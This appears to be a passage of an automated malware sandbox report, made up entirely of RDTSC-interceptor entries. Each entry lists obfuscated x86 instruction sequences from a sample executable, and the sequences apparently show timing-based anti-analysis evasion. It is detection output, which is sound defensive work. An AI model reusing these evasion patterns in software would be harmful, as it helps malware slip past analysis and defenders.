Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D77ED0 second address: D77ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D77ED6 second address: D77EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D78DD6 second address: D78DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7984B second address: D798C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 pushad 0x00000009 movzx edx, dx 0x0000000c jl 00007FDF304F630Bh 0x00000012 jmp 00007FDF304F6305h 0x00000017 popad 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FDF304F62F8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 jg 00007FDF304F62FEh 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D2DD7h], ebx 0x00000042 xchg eax, ebx 0x00000043 jmp 00007FDF304F62FDh 0x00000048 push eax 0x00000049 pushad 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D798C1 second address: D798CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7A397 second address: D7A39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7A39C second address: D7A3F6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF311AD4FCh 0x00000008 js 00007FDF311AD4F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 add esi, dword ptr [ebp+12484AF8h] 0x00000017 jmp 00007FDF311AD507h 0x0000001c push 00000000h 0x0000001e call 00007FDF311AD508h 0x00000023 mov esi, dword ptr [ebp+122D2BDBh] 0x00000029 pop esi 0x0000002a push 00000000h 0x0000002c movzx esi, si 0x0000002f xchg eax, ebx 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7A3F6 second address: D7A3FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7AE4F second address: D7AE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7AE54 second address: D7AE63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF304F62FBh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7AE63 second address: D7AEBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD505h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FDF311AD4FFh 0x00000013 jmp 00007FDF311AD500h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDF311AD509h 0x00000020 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7AEBC second address: D7AF36 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jnp 00007FDF304F62FCh 0x0000000e mov dword ptr [ebp+122D1835h], edi 0x00000014 mov edi, dword ptr [ebp+122D1BE4h] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007FDF304F62F8h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 jng 00007FDF304F62FCh 0x0000003c sbb esi, 705AF71Fh 0x00000042 push 00000000h 0x00000044 call 00007FDF304F6307h 0x00000049 mov esi, dword ptr [ebp+122D2B63h] 0x0000004f pop edi 0x00000050 xchg eax, ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 jc 00007FDF304F62FCh 0x00000059 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7C2C1 second address: D7C2C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7C2C7 second address: D7C2CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7C2CD second address: D7C2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7C2D1 second address: D7C2D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7DD35 second address: D7DD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDF311AD4F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7DD3F second address: D7DD43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7F302 second address: D7F323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FDF311AD50Ah 0x0000000d jmp 00007FDF311AD4FEh 0x00000012 jnp 00007FDF311AD4F6h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7F323 second address: D7F349 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDF304F62FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FDF304F6304h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D81F73 second address: D81F87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD500h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D825E7 second address: D825EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D825EB second address: D825EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D858F1 second address: D858F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D858F7 second address: D85904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FDF311AD4F6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D878C5 second address: D878CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D88918 second address: D8891C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8891C second address: D88957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDF304F62FDh 0x0000000c jmp 00007FDF304F62FCh 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FDF304F6303h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D88957 second address: D8895C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7A16B second address: D7A178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007FDF304F62FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8895C second address: D889B9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF311AD4F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D2DF6h], esi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FDF311AD4F8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov di, cx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FDF311AD4F8h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 pushad 0x00000051 popad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D889B9 second address: D889BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D889BE second address: D889C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D889C4 second address: D889C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8B808 second address: D8B882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b add dword ptr [ebp+122D2DF6h], edi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FDF311AD4F8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D2159h] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007FDF311AD4F8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f mov edi, ebx 0x00000051 mov edi, dword ptr [ebp+122D21FBh] 0x00000057 or dword ptr [ebp+122D380Eh], edi 0x0000005d xchg eax, esi 0x0000005e push edi 0x0000005f push eax 0x00000060 push edx 0x00000061 ja 00007FDF311AD4F6h 0x00000067 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8B882 second address: D8B897 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jbe 00007FDF304F6313h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7AC19 second address: D7AC28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF311AD4FBh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8270A second address: D8270F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8270F second address: D82715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D85B01 second address: D85B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D85B07 second address: D85B0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D848BA second address: D848C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D848C0 second address: D848C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D87B3D second address: D87B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D88C02 second address: D88C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007FDF311AD4F6h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D899DD second address: D899E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D899E6 second address: D899F7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF311AD4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D87B41 second address: D87B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D899F7 second address: D89A17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD509h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D87B50 second address: D87B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D87B55 second address: D87B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D87B5B second address: D87B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8D7E6 second address: D8D7EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D91A75 second address: D91A9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDF304F6300h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDF304F62FDh 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D91A9C second address: D91AEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD501h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+1245F5DAh], edx 0x00000010 push 00000000h 0x00000012 sbb di, EC51h 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+1245F5DAh], ecx 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 push ebx 0x00000022 push esi 0x00000023 pop esi 0x00000024 pop ebx 0x00000025 push eax 0x00000026 jg 00007FDF311AD4F6h 0x0000002c pop eax 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FDF311AD504h 0x00000037 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D91AEE second address: D91AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8BAB5 second address: D8BAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8CAA7 second address: D8CAB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDF304F62F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8EA97 second address: D8EA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D95765 second address: D9576C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D99B50 second address: D99B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDF311AD4F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D99B5F second address: D99B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9941B second address: D99429 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D99429 second address: D9943E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnc 00007FDF304F62F6h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9943E second address: D9944B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9944B second address: D99451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D995BE second address: D995C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D995C2 second address: D995E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF304F6301h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FDF304F62FEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D34722 second address: D3473C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FDF311AD4F6h 0x0000000f jmp 00007FDF311AD4FBh 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F57B second address: D9F5A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 ja 00007FDF304F6304h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FDF304F62F6h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F5A2 second address: D9F5DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD508h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jo 00007FDF311AD4F6h 0x00000010 pop ebx 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push esi 0x00000015 push eax 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop eax 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jc 00007FDF311AD4F8h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F72C second address: D9F732 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F732 second address: D9F757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD505h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b je 00007FDF311AD51Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F757 second address: D9F75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F75B second address: D9F787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD509h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jo 00007FDF311AD4F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F787 second address: D9F78C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F88E second address: D9F893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F893 second address: D9F908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007FDF304F62F6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jo 00007FDF304F6309h 0x00000015 jmp 00007FDF304F6303h 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jg 00007FDF304F6314h 0x00000024 mov eax, dword ptr [eax] 0x00000026 jmp 00007FDF304F6305h 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jl 00007FDF304F62FCh 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F908 second address: D9F90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D9F90C second address: D9F926 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF304F6305h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA605C second address: DA60AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDF311AD4F6h 0x0000000a jmp 00007FDF311AD504h 0x0000000f popad 0x00000010 jmp 00007FDF311AD506h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDF311AD508h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA60AE second address: DA60BA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF304F62F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
